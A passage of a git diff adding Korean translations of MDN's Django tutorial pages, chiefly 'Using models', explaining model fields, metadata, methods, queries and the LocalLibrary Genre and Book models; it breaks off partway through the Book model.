+ <li><strong>데이터 직렬화 </strong>: 장고를 사용하면 데이터를 XML 또는 JSON으로 직렬화하고 제공할 수 있습니다. 이 기능은 웹 서비스 (다른 응용 프로그램이나 사이트에서 사용하기 위해 순수하게 데이터를 제공하고 자체를 표시하지 않는 웹 사이트)를 만들거나 클라이언트 쪽 코드가 모든 데이터 렝더링을 처리하는 웹 사이트를 만들 때 유용할 수 있습니다. </li>
+</ul>
+
+<h2 id="요약하기">요약하기</h2>
+
+<p>축하합니다. 이제 장고 여행의 첫발을 떼셨군요! 이제 우리는 장고의 주요 이점과 역사를 조금 알게됐고 장고 응용프로그램의 주요한 부분을 대략 이해했습니다. 또한 목록, 함수 및 클래스 구문을 포함하여 파이썬 프로그래밍 언어에 대해 몇 가지 사실을 배워야합니다.</p>
+
+<p>위의 실제 장고 코드를 이미 보았지만 클라이언트 측 코드와 달리 실행하기 위해서는 개발 환경을 설정해야합니다. 그것이 우리의 다음 단계입니다.</p>
+
+<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div>
diff --git a/files/ko/learn/server-side/django/models/index.html b/files/ko/learn/server-side/django/models/index.html
new file mode 100644
index 0000000000..03204b9df7
--- /dev/null
+++ b/files/ko/learn/server-side/django/models/index.html
@@ -0,0 +1,454 @@
+---
+title: 'Django Tutorial Part 3: Using models'
+slug: Learn/Server-side/Django/Models
+translation_of: Learn/Server-side/Django/Models
+---
+<div>803{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">이 문서에서는 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 웹사이트의 모델을 어떻게 정의할지 보여줄 것입니다. 모델이라는 것이 무엇인지, 어떻게 선언하는지, 그리고 주된 필드 타입들에 대해서 설명합니다. 그리고 모델의 데이터에 접근할 수 있는 몇몇 방법에 대해서 간단히 보여줄 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 준비:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>적절한 필드를 사용하여 모델을 설계 및 생성할 줄 알기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>장고 웹 어플리케이션들은 모델이라는 파이썬 객체를 통해 데이터에 접속하고 관리합니다. 모델은 저장된 데이터의 구조를 정의합니다. 그것엔 필드 타입, 그리고 데이터의 최대 크기, 기본값, 선택 리스트 옵션, 문서를 위한 도움 텍스트, 폼을 위한 라벨 텍스트 등등이 있습니다. 모델의 정의는 기초 데이터베이스에 대해 독립적입니다 — 프로젝트 설정의 일부로 여러 옵션 중 하나를 선택할 수 있습니다. 사용할 데이터베이스를 정했다면 데이터베이스에 직접적으로 말할 필요가 없습니다 — 그저 모델 구조와 기타 코드를 작성하면, 장고가 데이터베이스와 소통하는 모든 더러운 작업을 대신해줍니다.</p>
+
+<p>이 튜토리얼은 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary website</a> 예제에서 어떻게 모델을 정의하고 그것에 접근하는지에 대해 보여줍니다.</p>
+
+<h2 id="LocalLibrary_models_디자인하기">LocalLibrary models 디자인하기</h2>
+
+<p>모델을 코딩하기 전에, 우리가 어떤 데이터를 저장할 것인지, 그리고 다른 객체(object)들에 대한 관계를 어떻게 지정할 것인지 생각해 봅시다.</p>
+
+<p>우리는 책에 관한 정보들을 저장할 필요가 있고 (제목, 요약, 저자, 작성된 언어, 분류, ISBN) 여러 개의 사본을 사용할 수 있어야 합니다(전 세계적으로 고유한 ID, 가용성 상태 등). 저자에 대해서 그들의 이름 뿐만 아니라 더 많은 정보를 저장해야 할 수도 있습니다. 여러 명의 같거나 비슷한 이름의 저자가 있을 수도 있기 때문이죠. 우리는 정보를 책 제목, 저자, 언어, 그리고 분류에 따라 정렬할 수 있기를 원합니다.</p>
+
+<p>모델을 디자인할 때는 각각의 "객체(object: 관련된 정보의 모임)" 마다 분리된 모델을 가지는 것이 타당합니다. 이 예시에서 명백히 확인할 수 있는 객체(object)들은 책, 책 인스턴스, 저자입니다.</p>
+
+<p>선택을 웹사이트 자체에 하드코딩하는 것 보다는 모델을 사용해서 선택-리스트 옵션을 나타내도록(예시: 드롭 다운 목록)할 수 있습니다 — 이것은 모든 옵션들을 미리 알 수 없거나 옵션들이 변할 수 있을 때에 추천됩니다. 이 경우에 명백한 모델의 후보자로 책의 장르(예시: 공상 과학, 프랑스 시, 등등)와 언어(영어, 프랑스어, 한국어)가 있습니다.</p>
+
+<p>우리가 우리의 모델과 필드를 결정하고 나면, 우리는 그 관계에 대해서 생각해야 합니다. 장고는 당신이 그 관계를 다음과 같이 세 가지로 설정할 수 있게 하는데, 일대일(<code>OneToOneField</code>), 일대다(<code>ForeignKey</code>), 다대다(<code>ManyToManyField</code>) 관계가 그것입니다.</p>
+
+<p>그것들을 염두에 두고 아래의 UML 관계 다이어그램을 살펴봅시다. 이 다이어그램은 우리가 이 예시에서 정의할 모델들을 상자로 보여줍니다. 위에서 살펴본 바와 같이, 우리는 책(Book, 책의 일반적인 세부 사항들), 책 인스턴스(BookInstance, 시스템에서 사용 가능한 책의 특정한 물리적 복사본의 상태), 그리고 저자(Author)를 모델로 생성했습니다. 우리는 또한 장르(Genre)에 대한 모델을 만들어서 값들이 관리자 인터페이스에서 생성/선택이 가능하도록 만들었습니다. 우리는 <code>BookInstance:status</code>에 대한 모델을 생성하지 않았습니다 — 값들을(<code>LOAN_STATUS</code>) 하드코딩 했죠. 왜냐하면 그것은 변하지 않는 값들이기 때문입니다. 각각의 상자 안에서 모델 이름, 필드 이름과 타입, 그리고 또한 함수(method)와 그들의 반환 타입(return type)을 확인할 수 있습니다.</p>
+
+<p>이 다이어그램은 또한 다중도(multiplicities)을 포함한 모델 간의 관계를 보여줍니다. 다중도(multiplicities)는 관계 안에 존재하는 각각의 모델의 숫자(최대 그리고 최소)를 보여주는 다이어그램 위의 숫자입니다. 예를 들어, 상자 사이를 연결하는 선은 책과 장르가 연관되어 있다는 것을 보여줍니다. 장르(Genre) 모델에 가까이 있는 숫자들은 책이 하나 또는 그 이상의 장르(원하는 만큼 많이)를 가지고 있어야 함을 보여주는 반면, 선의 반대편 끝에 있는 책(Book) 모델 옆의 숫자들은 장르 모델이 0 또는 여러 개의 관련된 책 모델을 가질 수 있음을 보여줍니다 .</p>
+
+<p><img alt="LocalLibrary Model UML" src="https://mdn.mozillademos.org/files/15646/local_library_model_uml.png" style="height: 660px; width: 977px;"></p>
+
+<div class="note">
+<p><strong>주의</strong>: 다음 섹션은 모델이 어떻게 정의되고 사용되는지에 대한 초보적인 설명입니다. 읽으면서 위 다이어그램의 각각의 모델들을 어떻게 구성할 지 생각해 보십시오.</p>
+</div>
+
+<h2 id="모델_입문서">모델 입문서</h2>
+
+<p>이 부분에서는 어떻게 모델을 정의하는지, 그리고 더 중요할 지도 모르는 필드와 필드의 인자에 대해서 간단한 개요를 제공합니다.</p>
+
+<h3 id="모델의_정의">모델의 정의</h3>
+
+<p>모델들은 보통 어플리케이션의 <strong>models.py</strong> 파일에서 정의됩니다. 이들은 <code>django.db.models.Model</code>의 서브 클래스로 구현되며 필드, 메소드 그리고 메타데이터를 포함할 수 있습니다. 아래의 코드 조각은 <code>MyModelName</code>라고 이름지어진 "전형적인" 모델을 보여줍니다:</p>
+
+<pre class="brush: python notranslate">from django.db import models
+
+class MyModelName(models.Model):
+    """A typical class defining a model, derived from the Model class."""
+
+    # Fields
+    my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')
+    ...
+
+    # Metadata
+    class Meta:
+        ordering = ['-my_field_name']
+
+    # Methods
+    def get_absolute_url(self):
+        """Returns the url to access a particular instance of MyModelName."""
+        return reverse('model-detail-view', args=[str(self.id)])
+
+    def __str__(self):
+        """String for representing the MyModelName object (in Admin site etc.)."""
+        return self.field_name</pre>
+
+<p>아래 섹션에서 모델 안에 있는 각각의 요소들을 세부적으로 다뤄봅시다:</p>
+
+<h4 id="필드Fields">필드(Fields)</h4>
+
+<p>모델은 모든 타입의, 임의의 숫자의 필드를 가질 수 있습니다 — 각각의 필드는 우리의 데이터베이스 목록(table)에 저장하길 원하는 데이터 열(column)을 나타냅니다. 각각의 데이터베이스 레코드(행, row)는 각 필드 값들 중 하나로 구성되어 있습니다. 위의 예제를 살펴봅시다:</p>
+
+<pre class="brush: python notranslate">my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')</pre>
+
+<p>위 예제는 <code>my_field_name</code>이라는 하나의 필드를 가지고 있고, <code>models.CharField</code> 타입입니다 — 즉, 이 필드가 영숫자(alphanumeric) 문자열을 포함한다는 뜻이죠. 필드 타입들은 특정한 클래스들을 사용하여 등록되며, HTML 양식(form)에서 값을 수신할 때 사용할 유효성 검증 기준과 함께 데이터베이스에 데이터를 저장하는데 사용되는 레코드의 타입을 결정합니다. 또한 필드 타입은 필드가 어떻게 저장되고 사용될지 지정하는 인수를 사용할 수 있습니다. 이 예제에서는 필드에 두 가지 인수를 줍니다:</p>
+
+<ul>
+ <li><code>max_length=20</code> — 이 필드 값의 최대 길이는 20자임을 알립니다.</li>
+ <li><code>help_text='Enter field documentation'</code> — 이 값이 HTML 양식(form)에서 사용자들에게 입력될 때 어떤 값을 입력해야 하는지 사용자들에게 알려주기 위해 보여주는 텍스트 라벨을 제공합니다.</li>
+</ul>
+
+<p>필드 이름은 쿼리 및 탬플릿에서 이를 참조하는데 쓰입니다. 필드는 또한 인수로 지정된 라벨(<code>verbose_name</code>)을 가지고 있거나, 또는 필드 변수 이름의 첫자를 대문자로 바꾸고 밑줄을 공백으로 바꿔서 기본 라벨을 추정할 수 있습니다(예를 들어 <code>my_field_name</code> 은 My field name을 기본 라벨로 가지고 있습니다) .</p>
+
+<p>필드가 선언된 순서는 모델이 폼에서 렌더링 된다면(예시 : 관리자 사이트) 기본 순서에 영향을 미치지만, 이것은 재정렬될 수 있습니다.</p>
+
+<h5 id="일반적common_필드_인수">일반적(common) 필드 인수</h5>
+
+<p>아래의 일반적인 인수들은 많은/거의 대부분의 서로 다른 필드 타입들을 선언할 때 사용할 수 있습니다:</p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#help-text">help_text</a>: 위에서 다뤘던 것 처럼, HTML 양식(form)에 대해 텍스트 라벨을 제공합니다 (예시 : 관리자 사이트).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#verbose-name">verbose_name</a>: 필드 라벨 안에서 사용되는 인간이 읽을 수 있는 필드 이름입니다. 지정되지 않았다면, 장고가 기본 verbose_name을 필드 이름으로부터 유추합니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#default">default</a>: 필드를 위한 기본값입니다. 이것은 값 또는 호출 가능한 객체일 수 있습니다. 이때 객체는 새로운 레코드가 생성될 때 마다 호출됩니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#null">null</a>: 만약 <code>True</code>라면, 장고는 빈 <code>NULL</code> 값을 필드를 위한 데이터베이스에 저장할 것입니다(<code>CharField</code>는 대신 빈 문자열을 저장할 것입니다). 기본값은 <code>False</code>입니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#blank">blank</a>: 만약 <code>True</code>라면, 필드는 양식(form) 안에서 비워두는 것이 허락됩니다. 기본값은 <code>False</code>이며, 이것은 장고의 양식(form) 검증이 값을 입력하도록 강제한다는 뜻입니다. 이것은 종종  <code>null=True</code>와 함께 사용됩니다. blank 값을 허락할 때, 데이터베이스에서도 공백값을 적절하게 표시할 수 있어야 하기 때문입니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#choices">choices</a>: 필드를 위한 선택들의 모임입니다. 이 인수가 제공된다면, 대응하는 기본 양식(form) 위젯은 표준 텍스트 필드가 아닌 이 선택 항목을 가진 선택 상자입니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#primary-key">primary_key</a>: 만약 <code>True</code>라면, 현재 필드를 모델의 primary key로 설정합니다(primary key는 모든 다른 테이블 레코드들을 고유하게 확인하도록 지정된 특별한 데이터베이스 열입니다). primary key로 지정된 필드가 없다면 장고가 자동적으로 이 목적의 필드를 추가합니다.</li>
+</ul>
+
+<p>다른 많은 옵션들이 있습니다 — 여기(<a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#field-options">full list of field options here</a>)에서 모든 필드 옵션 목록을 볼 수 있습니다.</p>
+
+<h5 id="일반적인common_필드_타입">일반적인(common) 필드 타입</h5>
+
+<p>아래의 목록은 일반적으로 사용되는 필드 타입들을 보여줍니다. </p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#django.db.models.CharField">CharField</a>는 작거나 중간 크기의 고정된 길이의 문자열을 정의할 때 사용합니다. 저장되기 위해서는 데이터의 최대 길이(<code>max_length</code>)를 정해주어야 합니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#django.db.models.TextField">TextField</a>는 임의의 긴 문자열에 사용됩니다. 필드의 최대 길이(<code>max_length</code>)를 지정해야 할 수도 있지만, 그것은 필드가 양식(form) 안에 표시될 때만 지정하면 됩니다(데이터베이스 레벨에서 강제되지 않습니다).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a>은 정수값(모든 숫자)을 저장하는 필드입니다. 그리고 양식(form)에 입력된 값이 정수임을 검증하기도 합니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#datefield">DateField</a>와 <a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#datetimefield">DateTimeField</a>는 날짜와 날짜시간 정보를 저장, 표현하는데 사용됩니다 (각각 파이썬 <code>datetime.date</code>와 <code>datetime.datetime</code> 객체로). 이 필드들은 추가적으로 (서로 독점적인) <code>auto_now=True</code> (모델이 저장될 때 마다 필드를 현재 날짜로 설정하기 위해), <code>auto_now_add</code> (모델이 처음 생성되었을 때만 날짜를 설정하기 위해) , 그리고 <code>default</code> (사용자에 의해 변경될 수 있는 기본 날짜를 설정하기 위해) 매개 변수를 선언할 수 있습니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#emailfield">EmailField</a>는 이메일 주소를 저장하고 검증하기 위해 사용합니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#filefield">FileField</a>와 <a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#imagefield">ImageField</a>는 각각 파일과 이미지를 업로드하기 위해 사용됩니다 (<code>ImageField</code>는 단지 업로드된 파일이 이미지임을 확인하는 추가 검증을 더할 뿐입니다). 이것들은 업로드된 파일들이 어디에 어떻게 저장되는지 정의하는 매개 변수를 가집니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#autofield">AutoField</a>는 자동적으로 증가하는 <code>IntegerField</code>의 특별한 타입입니다. 이 타입의 primary key는 명시적으로 지정하지 않는 이상 모델에 자동적으로 추가됩니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#foreignkey">ForeignKey</a>는 다른 데이터베이스 모델과 일대다 관계를 지정하기 위해 사용됩니다 (예시: 차는 하나의 제조사를 갖고 있지만 제조사는 많은 차들을 만들 수 있습니다). 일대다에서 "일"쪽이 key를 포함하는 모델입니다.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#manytomanyfield">ManyToManyField</a>는 다대다 관계를 지정하기 위해 사용됩니다 (예시: 책은 여러 장르를 가질 수 있고, 각각의 장르에도 많은 책들이 있습니다). 우리 예제인 도서관 어플리케이션에서는 이 필드를 <code>ForeignKeys</code>와 매우 유사하게 사용할 겁니다. 하지만 그룹 사이의 관계를 보여주기 위해서는 더욱 복잡한 방식으로 사용될 수 있습니다. 이것은 레코드가 삭제됐을 때 어떤 일이 일어나는지 정의하기 위해 <code>on_delete</code> 매개변수를 가집니다 (예시:  <code>models.SET_NULL</code>의 값은 단순히 <code>NULL</code>값으로 설정될 겁니다).</li>
+</ul>
+
+<p>다른 많은 타입의 필드들이 많이 있습니다. 서로 다른 타입의 숫자를 위한 필드 (큰 정수, 작은 정수, 부동소수(float)), 불리언(booleans), URL, slug, unique id, 그리고 다른 "시간-관련된" 정보들(duration, time, 등등)들을 포함해서요. 모든 목록을 여기(<a href="https://docs.djangoproject.com/en/2.0/ref/models/fields/#field-types">full list here</a>)에서 확인할 수 있습니다.</p>
+
+<h4 id="메타데이터">메타데이터</h4>
+
+<p>아래와 같이  <code>class Meta</code>를 선언하여 모델에 대한 모델-레벨의 메타데이타를 선언할 수 있습니다.</p>
+
+<pre class="brush: python notranslate">class Meta:
+    ordering = ['-my_field_name']
+</pre>
+
+<p>이 메타데이터의 가장 유용한 기능들 중 하나는 모델 타입을 쿼리(query)할 때 반환되는 기본 레코드 순서를 제어하는 것입니다. 이렇게 하려면 위와 같이 필드 이름 목록의 일치 순서를  <code>ordering</code> 속성에 지정해야 합니다. 순서는 필드의 타입에 따라 달라질 것입니다(문자 필드는 알파벳 순서에 따라 정렬될 것이고, 반면 날짜 필드는 날짜순으로 정렬될 것입니다). 위와 같이, 반대로 정렬하고 싶다면 마이너스 기호(-)를 필드 이름 앞에 접두사로 붙이면 됩니다.</p>
+
+<p>예를 들어, 우리가 기본적으로 아래와 같이 책들을 정렬하려고 한다면:</p>
+
+<pre class="brush: python notranslate">ordering = ['title', '-pubdate']</pre>
+
+<p>책들은 A-Z까지 알파벳 순으로 정렬되고, 그 후에는 제목(title) 안에 있는 발행일 별로 가장 최근 것부터 가장 오래된 것 순으로 정렬될 것입니다.</p>
+
+<p>다른 일반적인(common) 속성은 <code>verbose_name</code>이며, 단일 및 복수 형식(form)의 클래스를 위한 자세한(verbose) 이름입니다:</p>
+
+<pre class="brush: python notranslate">verbose_name = 'BetterName'</pre>
+
+<p>다른 유용한 속성들은 모델을 위한 새로운 "접근 권한"을 생성 및 적용 가능하게 하며(기본 권한은 자동적으로 적용됨), 다른 필드에 기반한 순서 정렬을 허용하거나, 또는 클래스가 "추상(abstract: 레코드를 생성할 수 없고, 대신 다른 모델들을 만들기 위해 파생되는 기본 클래스)"임을 선언할 수 있습니다.</p>
+
+<p>여러가지 메타데이터 옵션들은 모델에 무슨 데이터베이스를 사용해야만 하는가 그리고 데이터가 어떻게 저장되는가를 제어한다 (이것들은 모델을 기존 데이터베이스에 매핑할 때만 유용하다).</p>
+
+<p>메타데이터 옵션의 모든 목록은 여기에서 볼 수 있습니다: <a href="https://docs.djangoproject.com/en/2.0/ref/models/options/">Model metadata options</a> (장고 문서).</p>
+
+<h4 id="메소드Methods">메소드(Methods)</h4>
+
+<p>모델은 또한 메소드를 가질 수 있습니다.</p>
+
+<p><strong><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">최소한, 모든 모델마다 표준 파이썬 클래스의 메소드인 </span></font>__str__()</code> 을 정의하여 각각의 object가 사람이 읽을 수 있는 문자열을 반환(return)하도록 합니다.</strong> 이 문자열은 관리자 사이트에 있는 개별적인 레코드들을 보여주는 데 사용됩니다(그리고 모델 인스턴스를 참조해야 하는 다른 모든 곳에도요). 종종 이것은 모델에서 제목(title)이나 이름 필드(name field)를 반환할 것입니다 .</p>
+
+<pre class="brush: python notranslate">def __str__(self):
+    return self.field_name</pre>
+
+<p>장고 모델에 포함할 다른 일반적인 메소드는 <code>get_absolute_url()</code>입니다. 웹사이트의 개별적인 모델 레코드들을 보여주기 위한 URL을 반환하는 메소드입니다(만약 이 메소드를 정의했다면 장고는 관리자 사이트 안의 모델 레코드 수정 화면에 "View on Site" 버튼을 자동적으로 추가할 것입니다). 아래에서 <code>get_absolute_url()</code>의 표준적인 사용을 볼 수 있습니다.</p>
+
+<pre class="brush: python notranslate">def get_absolute_url(self):
+    """Returns the url to access a particular instance of the model."""
+    return reverse('model-detail-view', args=[str(self.id)])
+</pre>
+
+<div class="note">
+<p><strong> 주의</strong>: 모델의 개별적인 레코드들을 보여주기 위해서 <code>/myapplication/mymodelname/2</code> 와 같은 URL을 사용한다고 가정한다면("2"는 특정한 레코드를 위한 <code>id</code> 입니다), 응답과 id를 "모델 디테일 뷰(model detail view)"에 전달하기 위해 (레코드를 표시하기 위한 작업을 할) URL 매퍼를 만들 필요가 있습니다 . 위의 <code>reverse()</code> 함수는 알맞은 포맷의 URL을 생성하기 위해서 URL 매퍼를(위 경우에선 'model-detail-view'라고 명명됨) "반전" 시킬 수 있습니다.</p>
+
+<p> 물론 이것이 작동하기 위해선 URL 매핑, 뷰, 그리고 탬플릿을 작성해야 합니다!</p>
+</div>
+
+<p>또한 원하는 메소드를 정의해서 (그들이 어떤 변수도 가지고 있지 않다면) 코드나 탬플릿에서 불러올 수 있습니다.</p>
+
+<h3 id="모델_관리management">모델 관리(management)</h3>
+
+<p>모델 클래스들을 정의한 이후엔 클래스들을 사용해서 레코드들을 생성, 업데이트, 또는 삭제할 수 있고, 모든 레코드 또는 레코드의 특정 하위 집합을 가져오기 위해 쿼리를 실행할 수 있습니다. 튜토리얼에서 뷰를 정의할 때 그 방법을 보여줄 것이지만, 아래에 간략한 요약이 있습니다.</p>
+
+<h4 id="레코드의_생성과_수정">레코드의 생성과 수정</h4>
+
+<p>레코드를 생성하려먼 모델의 인스턴스를 정의하고 <code>save()</code>를 호출할 수 있습니다.</p>
+
+<pre class="brush: python notranslate"># Create a new record using the model's constructor.
+record = MyModelName(my_field_name="Instance #1")
+
+# Save the object into the database.
+record.save()
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 만약 당신이 어떤 필드도 <code>primary_key</code>를 선언하지 않았다면, 새로운 레코드는 자동적으로 <code>id</code>라는 필드 이름을 가진 <code>primary_key</code>가 주어지게 됩니다. 위의 레코드를 저장한 후 이 <code>id</code> 필드를 쿼리할 수 있는데, 1의 값을 가질 겁니다.</p>
+</div>
+
+<p>이 새로운 레코드 안의 필드에 점 구문(.)을 사용해서 접근하여 값을 변경할 수 있습니다. 수정된 값들을 데이터베이스에 저장하기 위해 <code>save()</code>를 호출해야 합니다.</p>
+
+<pre class="brush: python notranslate"># Access model field values using Python attributes.
+print(record.id) # should return 1 for the first record.
+print(record.my_field_name) # should print 'Instance #1'
+
+# Change record by modifying the fields, then calling save().
+record.my_field_name = "New Instance Name"
+record.save()</pre>
+
+<h4 id="레코드_검색하기">레코드 검색하기</h4>
+
+<p>모델의 객체(<code>objects</code>) 속성(기본 클래스에서 제공됨)을 사용하여 특정 기준과 일치하는 레코드를 검색할 수 있습니다.</p>
+
+<div class="note">
+<p><strong> 주의:</strong> "추상(abstract)" 모델과 필드 이름을 사용하여 레코드들을 검색하는 방법을 설명하는 것은 조금 혼란스러울 수 있습니다. 아래에서는 <code>title</code>과 <code>genre</code> 필드가 있는 <code>Book</code> 모델을 참조하겠습니다. 이 때 <code>genre</code>는 또한 <code>name</code>이라는 단일 필드를 가지고 있는 모델입니다.</p>
+</div>
+
+<p>우리는 <code>objects.all()</code>을 사용하여 모델의 모든 레코드들을 <code>QuerySet</code>으로 가져올 수 있습니다. <code>QuerySet</code>은 반복가능한(iterable) 객체이며, 이것은 반복/루프할 수 있는 많은 객체들을 포함하고 있다는 의미입니다.</p>
+
+<pre class="brush: python notranslate">all_books = Book.objects.all()
+</pre>
+
+<p> 장고의 <code>filter()</code>는 반환된 <code>QuerySet</code>이 지정된 문자(<strong>text</strong>) 또는 숫자(<strong>numeric</strong>)<strong> </strong>필드를 특정한 기준에 맞추어 필터링할 수 있게 합니다. 예를 들어서, "wild"를 제목 안에 포함하는 책들을 필터링하여 그 숫자를 세어 보려면, 아래와 같이 하면 됩니다.</p>
+
+<pre class="brush: python notranslate">wild_books = Book.objects.filter(title__contains='wild')
+number_wild_books = Book.objects.filter(title__contains='wild').count()
+</pre>
+
+<p>기준이 될 필드와 타입은 필터 매개 변수 이름에서 정의됩니다. 다음 포맷을 이용해서요: <code>field_name__match_type</code> (주의: 위의 <code>title</code>과 <code>contains</code> 사이 밑줄은 두 개입니다). 위에서 우리는 대소문자를 구분하여 <code>title</code>을 필터링합니다. 다른 많은 유형의 일치 방법이 있습니다: <code>icontains</code>(대소문자를 구분하지 않음), <code>iexact</code>(대소문자를 구분하지 않는 정확히 일치), <code>exact</code>(대소문자를 구분하는 정확한 일치) 그리고 <code>in</code>, <code>gt</code>(보다 더 큰(greater than)), <code>startswith</code> 등등이 있습니다. 모든 일치방법 목록은 여기(<a href="https://docs.djangoproject.com/en/2.0/ref/models/querysets/#field-lookups">full list is here</a>) 있습니다.</p>
+
+<p>어떤 경우엔 일대다 관계를 다른 모델에 정의하는 필드를 필터링해야 할 때도 있습니다(예:<code>ForeignKey</code>). 이 경우에 추가적인 이중 밑줄을 사용하여 관련 모델 안의 필드에 "색인(index)"할 수 있습니다. 예를 들어 특정한 장르 패턴을 가진 책들을 필터링하려면, 아래와 같이 <code>genre</code> 필드를 통해서 <code>name</code>에 색인(index)해야 할 겁니다.</p>
+
+<pre class="brush: python notranslate"># Will match on: Fiction, Science fiction, non-fiction etc.
+books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction')
+</pre>
+
+<div class="note">
+<p><strong> 주의</strong>: 밑줄(__)을 사용하여 원하는 만큼 다양한 레벨의 관계(<code>ForeignKey</code>/<code>ManyToManyField</code>)를 탐색할 수 있습니다. 예를 들어서 추가적인 "cover" 관계를 사용하여 정의된 다른 타입의 <code>Book</code>은 다음과 같은 매개 변수 이름을 가질겁니다 :<code>type__cover__name__exact='hard'.</code></p>
+</div>
+
+<p>관련된 모델의 역방향 검색, 필터 변경, 값의 더 작은 집합 반환하기 등 쿼리로 할 수 있는 일들은 더욱 많이 있습니다. 더 많은 정보를 보려면 <a href="https://docs.djangoproject.com/en/2.0/topics/db/queries/">Making queries</a> (장고 문서)를 참고하세요.</p>
+
+<h2 id="LocalLibrary_모델_정의하기">LocalLibrary 모델 정의하기</h2>
+
+<p>이 섹션에서는 도서관을 위한 모델을 정의하기 시작할 겁니다. models.py ( /locallibrary/catalog/에 있음)파일을 여세요. 페이지 상단의 표준 코드(boilerplate)는 우리들의 모델이 상속받을 모델 기본 클래스 <code>models.Model</code>을 포함하는 models 모듈을 가져옵니다.</p>
+
+<pre class="brush: python notranslate">from django.db import models
+
+# Create your models here.</pre>
+
+<h3 id="장르Genre_모델">장르(Genre) 모델</h3>
+
+<p>아래의 장르(<code>Genre</code>) 모델 코드를 복사해서 <code>models.py</code> 파일에 붙여넣기 하세요. 이 모델은 책 카테고리에 관한 정보를 저장하는데 사용됩니다 — 예를 들어 소설인지, 논픽션인지, 로맨스인지 군사 역사물인지 등등. 위에서 말했던 것 처럼, 우리는 장르를 자유 텍스트나 선택 목록으로 만들지 않고 모델을 이용해 만들었습니다. 가능한 값들이 하드코딩되기 보다는 데이터베이스를 통해 관리되도록 하기 위해서입니다.</p>
+
+<pre class="brush: python notranslate">class Genre(models.Model):
+    """Model representing a book genre."""
+    name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)')
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return self.name</pre>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">모델은 하나의 </span></font>CharField</code> 필드(<code>name</code>)을 가지고 있습니다. 이것은 장르의 이름을 나타냅니다 . 이것은 200자로 제한되어 있고 <code>help_text</code>를 갖고 있습니다. 모델의 마지막에서 우리는 <code>__str__()</code> 메소드를 선언합니다. 이 메소드는 특정한 레코드에 의해 정의된 장르의 이름을 단지 반환합니다. 아무런 자세한 이름(verbose name)도 정의되지 않았기 때문에, 필드는 폼(form)에서 <code>Name</code>으로 호출(call)될 겁니다.</p>
+
+<h3 id="책Book_모델">책(Book) 모델</h3>
+
+<p>아래의 책(Book) 모델을 복사해서 파일의 아래에 붙여넣기 하세요. 책 모델은 일반적으로 사용 가능한 책에 대한 모든 정보들을 보여주지만, 대여 가능한 특정한 물리적 "인스턴스(instance)"나 "복사본(copy)"은 보여주지 않습니다. 모델은 <code>CharField</code>를 사용하여 책의 <code>title</code>과 <code>isbn</code>을 나타냅니다(<code>isbn</code>이 이름을 지정하지 않은 첫 번째 매개변수를 사용하여 라벨을 "ISBN"으로 지정한 것에 주목하세요. 만약 그러지 않았다면 기본 라벨은 "Isbn"이었을 것입니다). 텍스트가 상당히 길 것이기 때문에 <code>summery</code>에는 <code>TextField</code>를 사용합니다.</p>
+
+<pre class="brush: python notranslate">from django.urls import reverse # Used to generate URLs by reversing the URL patterns
+
+class Book(models.Model):
+    """Model representing a book (but not a specific copy of a book)."""
+    title = models.CharField(max_length=200)
+    author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True)
+
+    # Foreign Key used because book can only have one author, but authors can have multiple books
+    # Author as a string rather than object because it hasn't been declared yet in the file.
+    summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book')
+    isbn = models.CharField('ISBN', max_length=13, help_text='13 Character &lt;a href="https://www.isbn-international.org/content/what-isbn"&gt;ISBN number&lt;/a&gt;')
+
+    # ManyToManyField used because genre can contain many books. Books can cover many genres.
+    # Genre class has already been defined so we can specify the object above.
+    genre = models.ManyToManyField(Genre, help_text='Select a genre for this book')
+
+    def __str__(self):
